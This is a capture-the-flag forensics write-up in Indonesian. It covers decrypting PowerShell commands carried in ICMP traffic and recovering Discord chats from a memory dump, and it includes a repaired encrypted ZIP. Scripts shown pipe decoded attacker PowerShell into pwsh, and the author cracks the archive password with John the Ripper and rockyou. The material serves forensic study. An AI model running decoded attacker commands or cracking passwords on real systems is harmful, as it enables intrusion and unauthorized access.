data = decrypt_data(f, key)
data = decompress_data(data)
data = b64decode(data).decode('UTF-16LE')
data1 = data.split(';')
data2 = ''
longest = max(data1, key = len)
longest_name = longest.split('=')[0]
for i in data1:
if 'iex' in i:
continue
elif longest in i:
data2 += f'{longest}; echo {longest_name} | iex'
break
else:
data2 += i + ';'
cmd = b64encode(data2.encode())
command = f'echo {cmd.decode()} | base64 -d | pwsh'
output = subprocess.check_output(command,shell=True, stderr=subprocess.STDOUT, universal_newlines=True)
print(output.split(data2)[1].split('\n')[0])
except Exception as e:
print(e)
pass
```
berikut hasilnya

disini kita dapat melihat bahwa command tersebut mengecek value dari `$key` yang digunakan untuk meng-decrypt `secret.pdf.wkwk`
### mengambil tampered response ICMP
langsung saja kita ambil value tampered responsenya
```python
...
display_filter = 'icmp.type == 0'
...
def fix(f):
key = bytes.fromhex('f001fa8dc1cd1190589a9615e43bd7f9')
try:
data = decrypt_data(f, key)
data = decompress_data(data)
if 'CLIXML' in data:
print(data.split('<Objs')[0])
except Exception as e:
print(e)
pass
```
berikut hasilnya

### mengambil value dari $key
rapihkan terlebih dahulu, lalu kita coba bandingkan dengan command powershell untuk mendapatkan key nya
```python
def parsing_data(d):
pattern_key = r"\((\d+)\s+-bxor\s+(\d+)\)"
pattern_index = r"\[\s*(\d+)\s*\]"
match_key = re.search(pattern_key, d)
match_index = re.search(pattern_index, d)
val = xor(int(match_key.group(1)), int(match_key.group(2)))
return int(match_index.group(1)), ord(val)
def parsing_key(f, f1):
data = f.split('\n')
data1 = f1.split('\n')
key = dict()
for i in range(len(data)):
if data1[i] == 'True' and '-not' not in data[i]:
idx, keys = parsing_data(data[i])
key[idx] = keys
elif data1[i] == 'False' and '-not' in data[i]:
idx, keys = parsing_data(data[i])
key[idx] = keys
key = dict(sorted(key.items()))
return key
def get_key():
f = open('key.txt','r').read()
f1 = open('truefalse.txt','r').read()
key= parsing_key(f, f1)
kys = ''
for index, (key, value) in enumerate(key.items()):
kys += chr(value)
print(kys)
get_key()
```
berikut hasilnya
```shell
% python3 brute-aes.py
ZCiksSGQXP+8ofYJqfphfdWD+orfiGW/EUuwtexXuNaV3w==
```
### decrypt file
langsung kita coba decompile file `secret.pdf.wkwk` menggunakan key yang ada
```python
def decrypt():
file = open("secret.pdf.wkwk","rb").read()
key = b"ZCiksSGQXP+8ofYJqfphfdWD+orfiGW/EUuwtexXuNaV3w=="
key = hashlib.sha256(key).digest()
iv = file[0:16]
data = file[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
dec_data = cipher.decrypt(data)
res = open("res2.pdf","wb")
res.write(dec_data)
res.close()
decrypt()
```
kitapun mendapatkan flag

## reference
- [https://dcpp.wordpress.com/2007/10/02/nmdcs-client-client-handshake/](https://dcpp.wordpress.com/2007/10/02/nmdcs-client-client-handshake/)
- [https://ratmirkarabut.com/articles/ctf-writeup-bitsctf-2017-woodstock/](https://ratmirkarabut.com/articles/ctf-writeup-bitsctf-2017-woodstock/)
- [https://nmdc.sourceforge.io/NMDC.html](https://nmdc.sourceforge.io/NMDC.html)
- [https://adc.dcbase.org/Protocol](https://adc.dcbase.org/Protocol)
- [https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Out-EncodedSpecialCharOnlyCommand.ps1](https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Out-EncodedSpecialCharOnlyCommand.ps1)
- [https://github.com/MicrosoftDocs/PowerShell-Docs/blob/main/reference/docs-conceptual/install/install-ubuntu.md](https://github.com/MicrosoftDocs/PowerShell-Docs/blob/main/reference/docs-conceptual/install/install-ubuntu.md)
- [https://onlyf8.com/powershell-obfuscationEN](https://onlyf8.com/powershell-obfuscationEN)
# SecreTalk
## summary
> Although I managed to find out about my fiancée's missing document, I'm afraid this might be some kind of attack specifically targeting my family. So, I've been investigating several cases that more or less have indications of the same threat actor as the one who stole my fiancée's document yesterday. Using this artifact, I'm hoping to find out the conversation of one of the strong suspects who is behind all of this. Can you help me analyze some of the interesting things here?
> author : c2uru
> file : [file](https://drive.google.com/drive/u/3/folders/1p1HHkimi6U6gRZzQX_YxzBjMKowIMRwz)
> password : TWl6dWhhcmFjaGl6dXJ1e3doeV95b3VfZGVjb2RlX3RoaXM/fQ==
>
> hint : "I managed to retrieve all the message history and tried to solve the problem, but I hit a dead end," I muttered, kicking the door in frustration. Chizuru walked over and hugged me from behind. "I think you're just overthinking it, sweetheart. Take a deep breath," she whispered gently. I exhaled slowly, feeling the tension ease. "You’re right… hmm, wait a minute. If this file works the way I think it does, and the file size given by the header is correct by default, why is it bigger after being compressed?"
diberikan sebuah file zip yang ternyata isinya adalah memdump dengan ukuran 8GB

dicoba menggunakan volatility untuk mendapatkan process yang sedang berjalan
```shell
% vol2 -f data --profile=Win10x64_19041 pstree > ps.txt
```
```tex
Name Pid PPid Thds Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
0xffffae0e54665080:System 4 0 107 0 2024-10-02 01:56:27 UTC+0000
. 0xffffae0e547c7040:Registry 108 4 4 0 2024-10-02 01:56:23 UTC+0000
. 0xffffae0e54a88040:smss.exe 348 4 2 0 2024-10-02 01:56:27 UTC+0000
0xffffae0e54f8e080:wininit.exe 552 440 1 0 2024-10-02 01:56:36 UTC+0000
. 0xffffae0e563b10c0:lsass.exe 692 552 9 0 2024-10-02 01:56:37 UTC+0000
. 0xffffae0e564550c0:fontdrvhost.ex 824 552 5 0 2024-10-02 01:56:39 UTC+0000
. 0xffffae0e560f7080:services.exe 672 552 5 0 2024-10-02 01:56:37 UTC+0000
.. 0xffffae0e56789080:VBoxService.ex 1544 672 11 0 2024-10-02 01:56:42 UTC+0000
.. 0xffffae0e5af5a080:svchost.exe 2064 672 2 0 2024-10-01 11:56:44 UTC+0000
.. 0xffffae0e5b1580c0:spoolsv.exe 2592 672 7 0 2024-10-01 11:56:45 UTC+0000
.. 0xffffae0e565e10c0:svchost.exe 1060 672 2 0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5b192080:svchost.exe 2712 672 4 0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5b727080:svchost.exe 2108 672 3 0 2024-10-01 11:57:41 UTC+0000
.. 0xffffae0e5bff1080:svchost.exe 864 672 7 0 2024-10-01 11:58:52 UTC+0000
.. 0xffffae0e5bc52080:svchost.exe 6212 672 2 0 2024-10-01 11:58:52 UTC+0000
.. 0xffffae0e5bc0d080:svchost.exe 6732 672 2 0 2024-10-01 12:06:10 UTC+0000
.. 0xffffae0e5bf020c0:SecurityHealth 5204 672 10 0 2024-10-01 11:58:04 UTC+0000
.. 0xffffae0e56631080:svchost.exe 1148 672 3 0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5afef080:svchost.exe 2176 672 9 0 2024-10-01 11:56:44 UTC+0000
.. 0xffffae0e566490c0:svchost.exe 1156 672 2 0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5c00b080:svchost.exe 5768 672 15 0 2024-10-01 12:06:10 UTC+0000
.. 0xffffae0e56632080:svchost.exe 1164 672 6 0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5ae04300:svchost.exe 1680 672 2 0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e5bfd0080:svchost.exe 6292 672 8 0 2024-10-01 11:58:51 UTC+0000
.. 0xffffae0e5b00b080:svchost.exe 2204 672 3 0 2024-10-01 11:56:44 UTC+0000
.. 0xffffae0e5b197080:svchost.exe 2720 672 4 0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5b00c080:svchost.exe 2216 672 4 0 2024-10-01 11:56:44 UTC+0000
.. 0xffffae0e5c011080:svchost.exe 6840 672 7 0 2024-10-01 11:58:28 UTC+0000
.. 0xffffae0e565a8080:svchost.exe 712 672 5 0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5c145080:svchost.exe 6364 672 7 0 2024-10-01 11:58:50 UTC+0000
.. 0xffffae0e5b4ec080:svchost.exe 3812 672 3 0 2024-10-01 11:57:41 UTC+0000
... 0xffffae0e562cf2c0:ctfmon.exe 3436 3812 9 0 2024-10-01 11:57:41 UTC+0000
.. 0xffffae0e5bd15080:svchost.exe 5356 672 1 0 2024-10-01 11:58:14 UTC+0000
.. 0xffffae0e5b5f4080:svchost.exe 1264 672 6 0 2024-10-01 11:56:51 UTC+0000
.. 0xffffae0e5b560080:svchost.exe 3112 672 2 0 2024-10-01 11:57:41 UTC+0000
.. 0xffffae0e561d3080:svchost.exe 4852 672 0 ------ 2024-10-01 11:57:02 UTC+0000
.. 0xffffae0e5aef1080:svchost.exe 2004 672 1 0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e5bb340c0:svchost.exe 2300 672 5 0 2024-10-01 11:57:44 UTC+0000
.. 0xffffae0e5ae72080:svchost.exe 1792 672 7 0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e5c60a080:SgrmBroker.exe 6596 672 7 0 2024-10-01 11:58:50 UTC+0000
.. 0xffffae0e5b052080:svchost.exe 2316 672 3 0 2024-10-01 11:56:45 UTC+0000
.. 0xffffae0e5b075080:svchost.exe 2328 672 11 0 2024-10-01 11:56:45 UTC+0000
.. 0xffffae0e5c08e080:svchost.exe 1308 672 2 0 2024-10-01 12:06:10 UTC+0000
.. 0xffffae0e56430080:svchost.exe 800 672 12 0 2024-10-02 01:56:39 UTC+0000
... 0xffffae0e5bb3f080:SearchApp.exe 2228 800 34 0 2024-10-01 11:57:49 UTC+0000
... 0xffffae0e5be6e340:RuntimeBroker. 5212 800 2 0 2024-10-01 12:00:54 UTC+0000
... 0xffffae0e5b739080:TextInputHost. 1552 800 9 0 2024-10-01 11:59:20 UTC+0000
... 0xffffae0e5ba8a080:RuntimeBroker. 3004 800 2 0 2024-10-01 11:58:00 UTC+0000
... 0xffffae0e5ba6a080:RuntimeBroker. 548 800 8 0 2024-10-01 11:57:50 UTC+0000
... 0xffffae0e5bc320c0:smartscreen.ex 6916 800 1 0 2024-10-01 12:08:05 UTC+0000
... 0xffffae0e5b7fb080:StartMenuExper 1812 800 7 0 2024-10-01 11:57:47 UTC+0000
... 0xffffae0e5bff7080:ShellExperienc 7032 800 10 0 2024-10-01 12:00:53 UTC+0000
... 0xffffae0e54662080:UserOOBEBroker 1940 800 1 0 2024-10-01 12:07:53 UTC+0000
... 0xffffae0e5bb38300:RuntimeBroker. 4580 800 1 0 2024-10-01 11:57:48 UTC+0000
.. 0xffffae0e5b26a080:svchost.exe 2852 672 5 0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5ae88080:svchost.exe 1832 672 3 0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e5b4ef080:SearchIndexer. 3884 672 14 0 2024-10-01 11:56:50 UTC+0000
.. 0xffffae0e5af560c0:svchost.exe 1840 672 11 0 2024-10-01 11:56:44 UTC+0000
... 0xffffae0e5b6c6080:audiodg.exe 5396 1840 5 0 2024-10-01 12:06:27 UTC+0000
.. 0xffffae0e5b26b080:svchost.exe 2868 672 9 0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5669a080:svchost.exe 1340 672 2 0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5aea60c0:svchost.exe 1864 672 4 0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e5aeaa080:svchost.exe 1872 672 2 0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e56690080:svchost.exe 1252 672 7 0 2024-10-02 01:56:41 UTC+0000
... 0xffffae0e5b4ae080:taskhostw.exe 3012 1252 8 0 2024-10-01 11:57:41 UTC+0000
.. 0xffffae0e56699080:svchost.exe 1376 672 5 0 2024-10-02 01:56:41 UTC+0000
... 0xffffae0e5b5a90c0:sihost.exe 5056 1376 9 0 2024-10-01 11:57:40 UTC+0000
.. 0xffffae0e5b199080:svchost.exe 2704 672 12 0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5b2670c0:svchost.exe 2876 672 5 0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e567c8080:svchost.exe 1596 672 5 0 2024-10-02 01:56:42 UTC+0000
.. 0xffffae0e5c00e080:svchost.exe 4240 672 0 ------ 2024-10-01 11:59:43 UTC+0000
.. 0xffffae0e5b1f5080:svchost.exe 2792 672 4 0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e562d3080:svchost.exe 4752 672 5 0 2024-10-01 11:57:42 UTC+0000
.. 0xffffae0e56716080:svchost.exe 1408 672 4 0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5ae3b080:svchost.exe 1688 672 6 0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e564e0240:svchost.exe 924 672 10 0 2024-10-02 01:56:39 UTC+0000
.. 0xffffae0e5b050080:svchost.exe 2288 672 13 0 2024-10-01 11:56:45 UTC+0000
.. 0xffffae0e5637a1c0:svchost.exe 1960 672 4 0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e566940c0:svchost.exe 1276 672 4 0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5bdd3080:svchost.exe 6388 672 3 0 2024-10-01 12:06:10 UTC+0000
.. 0xffffae0e567240c0:svchost.exe 1468 672 6 0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5652f0c0:svchost.exe 972 672 5 0 2024-10-02 01:56:40 UTC+0000
.. 0xffffae0e5b28f080:svchost.exe 3032 672 3 0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5c668080:svchost.exe 3920 672 5 0 2024-10-01 12:08:04 UTC+0000
.. 0xffffae0e5c595080:svchost.exe 6480 672 4 0 2024-10-01 11:58:24 UTC+0000
.. 0xffffae0e5aeae080:svchost.exe 4584 672 2 0 2024-10-01 11:57:00 UTC+0000
.. 0xffffae0e54664080:svchost.exe 3052 672 2 0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5b10a0c0:svchost.exe 2548 672 2 0 2024-10-01 11:56:45 UTC+0000
.. 0xffffae0e5b5f9080:svchost.exe 5116 672 9 0 2024-10-01 11:57:41 UTC+0000
0xffffae0e56ee2080:csrss.exe 456 440 12 0 2024-10-02 01:56:35 UTC+0000
0xffffae0e562a5140:csrss.exe 532 524 12 0 2024-10-02 01:56:36 UTC+0000
0xffffae0e563e2080:winlogon.exe 600 524 3 0 2024-10-02 01:56:36 UTC+0000
. 0xffffae0e5b04d0c0:userinit.exe 4780 600 0 ------ 2024-10-01 11:57:42 UTC+0000
.. 0xffffae0e5b8ad0c0:explorer.exe 4840 4780 57 0 2024-10-01 11:57:42 UTC+0000
... 0xffffae0e5ba81080:msedge.exe 5468 4840 45 0 2024-10-01 11:58:06 UTC+0000
.... 0xffffae0e5c114340:msedge.exe 5784 5468 17 0 2024-10-01 11:58:09 UTC+0000
.... 0xffffae0e5b4e6080:msedge.exe 5572 5468 7 0 2024-10-01 11:58:09 UTC+0000
.... 0xffffae0e5bf8d080:msedge.exe 5792 5468 15 0 2024-10-01 11:58:09 UTC+0000
.... 0xffffae0e5be78080:msedge.exe 5884 5468 8 0 2024-10-01 11:58:09 UTC+0000
... 0xffffae0e5bd74080:SecurityHealth 5176 4840 2 0 2024-10-01 11:58:04 UTC+0000
... 0xffffae0e5bc06080:VBoxTray.exe 5336 4840 12 0 2024-10-01 11:58:05 UTC+0000
... 0xffffae0e5648d080:FTK Imager.exe 3652 4840 18 0 2024-10-01 12:06:30 UTC+0000
... 0xffffae0e5c115080:ZoomIt64.exe 5532 4840 2 0 2024-10-01 11:58:08 UTC+0000
. 0xffffae0e56436080:fontdrvhost.ex 832 600 5 0 2024-10-02 01:56:39 UTC+0000
. 0xffffae0e5654e080:dwm.exe 324 600 21 0 2024-10-02 01:56:40 UTC+0000
0xffffae0e5c4ad080:Discord.exe 6100 5708 48 0 2024-10-01 11:58:15 UTC+0000
. 0xffffae0e5bc28080:Discord.exe 6720 6100 40 0 2024-10-01 11:58:25 UTC+0000
. 0xffffae0e5bd17080:Discord.exe 6936 6100 7 0 2024-10-01 11:58:32 UTC+0000
. 0xffffae0e5bc2d280:Discord.exe 1744 6100 13 0 2024-10-01 11:58:20 UTC+0000
. 0xffffae0e5bfae080:Discord.exe 5012 6100 7 0 2024-10-01 11:58:19 UTC+0000
. 0xffffae0e5b4dc080:Discord.exe 5436 6100 17 0 2024-10-01 11:58:19 UTC+0000
0xffffae0e5b9ee080:MicrosoftEdgeU 1080 6356 3 0 2024-10-01 11:58:50 UTC+0000
0xffffae0e5c023080:Discord.exe 6492 6948 0 ------ 2024-10-01 11:58:31 UTC+0000
```
disini kita dapat melihat terdapat proses discord dan karena ini sangat berkaitan dengan deskripsi maka dapat dipastikan bahwa fokus kita adalah ke discord. hal yang pertama kita akan lakukan adalah merecover history chat
## exploit
### file cache pada discord
disini dicoba untuk merecover file cache pada discord untuk mendapatkan history chat nya, namun ternyata nihil karena tidak terdapat cache yang menyimpan history chat
```shell
% vol2 -f data --profile=Win10x64_19041 filescan > fs.txt
```
```tex
0x0000ae0e5c24e990 32 0 RW-r-- \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\index
0x0000ae0e5c250bf0 32767 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\index
0x0000ae0e5c2524f0 32764 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\index
0x0000ae0e5c252cc0 27614 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_0
0x0000ae0e5c253170 32714 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_3
0x0000ae0e5c253300 32528 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_2
0x0000ae0e5c253ad0 32755 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_3
0x0000ae0e5c253df0 32761 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_1
0x0000ae0e5c254d90 32078 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_1
0x0000ae0e5c255a10 32761 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_0
0x0000ae0e5c255ec0 32743 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_2
```
dikarenakan cachenya tidak ada, maka kita bisa fokus pada process discord, karena pasti ada data yang nyangkut di memory
### mengambil data chat
data chat pada discord disimpan dalam struct json yang unik seperti berikut

kita bisa saja mendump process discord namun disini penulis langsung menggunakan cara barbar dengan menggunakan key json `channel_id`
```shell
% strings data | grep 'channel_id' -A30 -B30 > channel.txt
```
```tex
...
authort
avatarm
3777f238143b8d9ce07f988f29825989m
avatar_decoration_datad
nilm
cland
nilm
discriminatorm
global_namem
C2urum
public_flagsa
usernamem
darmodarrm
channel_idn
componentsjm
contentm
hello, it's me, code name 0x69m
edited_timestampd
nilm
embedsjm
flagsa
mention_everyoned
falsem
mention_rolesjm
mentionsjm
noncem
1290644578373730304m
pinnedd
falsem
timestampm
2024-10-01T12:00:47.835000+00:00m
ttsd
falsem
typea
MESSAGE_CREATE
channel_idn
flagsd
nilm
last_viewedb
message_idn
versionacd
MESSAGE_ACK
...
```
disini dapat kita lihat bahwa kita bisa merecovery history chatnya, hanya perlu beberapa parsing agar chatnya lebih bersih.
### parsing content chat
kita akan menggunakan key `contentm` untuk mengambil value dari chatnya dan escape beberapa char (hal ini karena data yang kita dapat hasil string maka terdapat beberapa junk) ,dan mengambil key `timestampm` untuk mengambil jam chat nya yang nantinya akan diurutkan agar terstruktur. berikut python scriptnya
```python
from Crypto.Util.number import bytes_to_long, long_to_bytes
from base64 import b85decode as bt
from datetime import datetime
def parse_data(f):
f = f.split('\n')
message = dict()
check_c = False
check_t = False
for x in range(len(f)):
if 'contentm' in f[x]:
tmp_c = f[x + 1][:-1].replace('\\','')
check_c = True
if '2024-10-01T12:' in f[x]:
tmp_t = f[x][:-1][1:]
tmp_t = datetime.fromisoformat(tmp_t).time().strftime("%H%M%S%f")
check_t = True
# print(tmp_t)
if check_c and check_t:
message[tmp_t] = tmp_c
check_c = False
check_t = False
message = dict(sorted(message.items()))
return message
if __name__ == "__main__":
f = open('channel.txt','r').read()
m = parse_data(f)
for index, (key, value) in enumerate(m.items()):
print(index, key, value)
```
berikut hasilnya

terdapat beberapa chat dan informasi seperti
1. mereka akan berkomunikasi dengan encrypted message menggunakan **library base python** dan **bytes to long data type**
2. selanjutnya mereka akan berkomunikasi dengan encrypted message
lalu kita coba decrypt encrypted message tersebut dengan informasi yang kita dapatkan
### decrypt message
dari encrypted string dapat kita lihat bahwa itu merupakan base64 atau dibawahnya maka bisa dipastikan base diatasnya, maka disimpulkan itu adalah base85, langsung saja kita coba decode
```python
def decode_to_bytes(encoded_long):
decoded_bytes = long_to_bytes(encoded_long)
decoded_string = decoded_bytes.decode('utf-8')
return decoded_string
if __name__ == "__main__":
f = open('channel.txt','r').read()
m = parse_data(f)
for index, (key, value) in enumerate(m.items()):
if index > 4:
try:
dat = bt(value)
decoded = decode_to_bytes(int(dat))
print(decoded)
except Exception as e:
pass
```
```shell
% python3 decode.py
/drive/u/3/folders/1ER4fZf7GXaku8h2bpzf3Hb3quusbfXSa
Remember, I know you're good at trying to figure out how to read the files I give you.
If the usual way you try doesn't work, you can analyze the file I gave you first, okay?
Okay I will try to understand the content
```
dari sini dapat kita lihat terdapat sebuah file dan kita diminta untuk recover file tersebut
### recover file
setelah kita download file tersebut dapat dilihat bahwa file tersebut merupakan sebuah file zip yang corrupted

disini dapat terlihat jelas anomali pertama yaitu pada filename. kita lakukan fixing dengan mengubah sesuai dengan len filename yaitu 6

kita terkena error selanjutnya

disini dapat dilihat sepertinya ada kesalahan pada extra len sehingga local header akhirnya tidak didapatkan. dan sepertinya kita melihat bahwa extra mengambil value berlebih pada `Extra ID 3` mari kita coba sesuaikan len extra yang seharusnya sampai sebelum `AB6E`

seharusnya extra len nya adalah 0x1c

mari kita cek kembali dan ternyata masih ada error

pada central header sepertinya terdapat anomali pada file len yang seharusnya 6
kita cek kembali ternyata terdapat anomali pada extra len sehingga tidak menemukan end of central header

yang dimana len harusnya 0x18


dan ternyata timestamp pada local header pun salah, dikarenakan menaruh tanggal dimasa depan, kita copy timestamp pada central agar membuatnya menjadi make sense

berikut detail zip yang sudah tidak reproduce error
```shell
% zipdetails unknown.zip
00000 LOCAL HEADER #1 04034B50
00004 Extract Zip Spec 0A '1.0'
00005 Extract OS 00 'MS-DOS'
00006 General Purpose Flag 0000
00008 Compression Method 0000 'Stored'
0000A Last Mod Time 59417E86 'Tue Oct 1 15:52:12 2024'
0000E CRC 3C75122A
00012 Compressed Length 00084ED7
00016 Uncompressed Length 00084ECB
0001A Filename Length 0006
0001C Extra Length 001C
0001E Filename 'secret'
00024 Extra ID #0001 5455 'UT: Extended Timestamp'
00026 Length 0009
00028 Flags '03 mod access'
00029 Mod Time 66FBB83C 'Tue Oct 1 15:52:12 2024'
0002D Access Time 66FC04DC 'Tue Oct 1 21:19:08 2024'
00031 Extra ID #0002 7875 'ux: Unix Extra Type 3'
00033 Length 000B
00035 Version 01
00036 UID Size 04
00037 UID 000003E8
0003B GID Size 04
0003C GID 000003E8
00040 PAYLOAD
84F17 STREAMING DATA HEADER 08074B50
84F1B CRC 3C75122A
84F1F Compressed Length 00084ED7
84F23 Uncompressed Length 00084ECB
84F27 CENTRAL HEADER #1 02014B50
84F2B Created Zip Spec 1E '3.0'
84F2C Created OS 03 'Unix'
84F2D Extract Zip Spec 0A '1.0'
84F2E Extract OS 00 'MS-DOS'
84F2F General Purpose Flag 0000
84F31 Compression Method 0000 'Stored'
84F33 Last Mod Time 59417E86 'Tue Oct 1 15:52:12 2024'
84F37 CRC 3C75122A
84F3B Compressed Length 00084ED7
84F3F Uncompressed Length 00084ECB
84F43 Filename Length 0006
84F45 Extra Length 0018
84F47 Comment Length 0000
84F49 Disk Start 0000
84F4B Int File Attributes 0000
[Bit 0] 0 'Binary Data'
84F4D Ext File Attributes 81FF0000
84F51 Local Header Offset 00000000
84F55 Filename 'secret'
84F5B Extra ID #0001 5455 'UT: Extended Timestamp'
84F5D Length 0005
84F5F Flags '03 mod access'
84F60 Mod Time 66FBB83C 'Tue Oct 1 15:52:12 2024'
84F64 Extra ID #0002 7875 'ux: Unix Extra Type 3'
84F66 Length 000B
84F68 Version 01
84F69 UID Size 04
84F6A UID 000003E8
84F6E GID Size 04
84F6F GID 000003E8
ADD 0 544471 CENTRAL HEADER ref Local #1: secret
84F73 END CENTRAL HEADER 06054B50
84F77 Number of this disk 0000
84F79 Central Dir Disk no 0000
84F7B Entries in this disk 0001
84F7D Total Entries 0001
84F7F Size of Central Dir 0000004C
84F83 Offset to Central Dir 00084F27
84F87 Comment Length 0000
Done
```
namun sayangnya kita tidak bisa unzip archive filenya
```shell
% unzip unknown.zip
Archive: unknown.zip
secret: ucsize 544459 <> csize 544471 for STORED entry
continuing with "compressed" size value
extracting: secret bad CRC f64e932b (should be 3c75122a)
```
### compressed size > uncompressed size
untuk bruteforce crc sepertinya akan cukup sulit dan tidak manusiawi dalam hal file dalam archive. mari kita fokus kepada hint yang diberikan yaitu mengapa size compressed lebih besar dari uncompressed. mungkin bisa kita analisa terlebih dahulu melalui method zip yang ada dan sering digunakan
- 00 : compress file secara as-is yaitu menaruh file tanpa ada kompresi apapun dan tidak dienkripsi
- 08 : file akan dicompress namun tidak dienkripsi
- 09 : file akan dicompress dan terenkripsi
lalu dengan informasi yang ada yaitu size compressed yang lebih besar besar dari uncomprorssed maka dipastikan method yang digunakan sudah pasti 00 dan sudah benar yang ada didalam archive, namun kita pun dapat lihat di binarynya bahwa file tidak as-is berarti ada enkripsi yang diterapkan. namun apakah hal tersebut possible? hal tersebut bisa dikonfirmasi pada informasi berikut 
bahwa kita bisa melakukan enkripsi pada file lalu secara uncompressed dalam archive. mari kita coba-coba terlebih dahulu, disini saya mencoba membuat file dummy dengan ukuran yang hampir mirip dengan file zip
```shell=
% python3 -c "print('A'*1024*500)" > try
% file try
try: ASCII text, with very long lines (65536), with no line terminators
% ls -la try
-rw-rw-r-- 1 bleco bleco 512001 Okt 14 13:11 try
```
dengan command zip yang terdapat beberapa command berikut

disini kita menggunakan parameter `-0` untuk melakukan zip tanpa compress, dan kita passing param `-P` untuk define passwordnya
```shell
% zip -0 -P "coba" try.zip try
adding: try (stored 0%)
```
disini penulis menemukan hal yang menarik

yaitu tentang flag general purpose dan berikut beberapa penjelasannya

untuk general purpose ini dia menggunakan bit pada value flagnya seperti 0x9 maka 1001 yang membuat bit 3 dan bit 0 true. yang berarti file tersebut terkena encrypt dan terdapat `data descriptor` yang bisa kita pastikan pun ada di `unknown.zip`

langsung saja kita ubah value general purpose ke 0x9


dan sekarang kita sudah bisa unzip dan dimintai password

### crack password
langsung saja kita gunakan john
```shell
% john-the-ripper.zip2john unknown.zip > unk
ver 1.0 efh 5455 efh 7875 unknown.zip/secret PKZIP Encr: 2b chk, TS_chk, cmplen=544471, decmplen=544459, crc=3C75122A ts=7E86 cs=7e86 type=0
% ~/tools/JohnTheRipper/run/john --wordlist=/home/bleco/tools/rockyou.txt unk
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)
% ~/tools/JohnTheRipper/run/john unk --show
unknown.zip/secret:generasi bangkit:secret:unknown.zip::unknown.zip
1 password hash cracked, 0 left
```
passwordnya adalah `generasi bangkit` langsung kita unzip
```shell=
% unzip unknown.zip
Archive: unknown.zip
[unknown.zip] secret password:
replace secret? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
extracting: secret
% file secret
secret: Microsoft Word 2007+
% unzip secret
Archive: secret
inflating: word/numbering.xml
inflating: word/settings.xml
inflating: word/fontTable.xml
inflating: word/styles.xml
inflating: word/document.xml
inflating: word/_rels/document.xml.rels
inflating: _rels/.rels
inflating: word/theme/theme1.xml
inflating: word/media/image1.png
inflating: [Content_Types].xml
% grep -RioPa 'TCP1P'
word/document.xml:TCP1P
```


## reference
- (https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html?source=post_page-----b32cb632312a--------------------------------)[https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html?source=post_page-----b32cb632312a--------------------------------]
- (https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html)[https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html]
- (https://pkware.cachefly.net/webdocs/APPNOTE/APPNOTE-6.3.10.TXT)[https://pkware.cachefly.net/webdocs/APPNOTE/APPNOTE-6.3.10.TXT]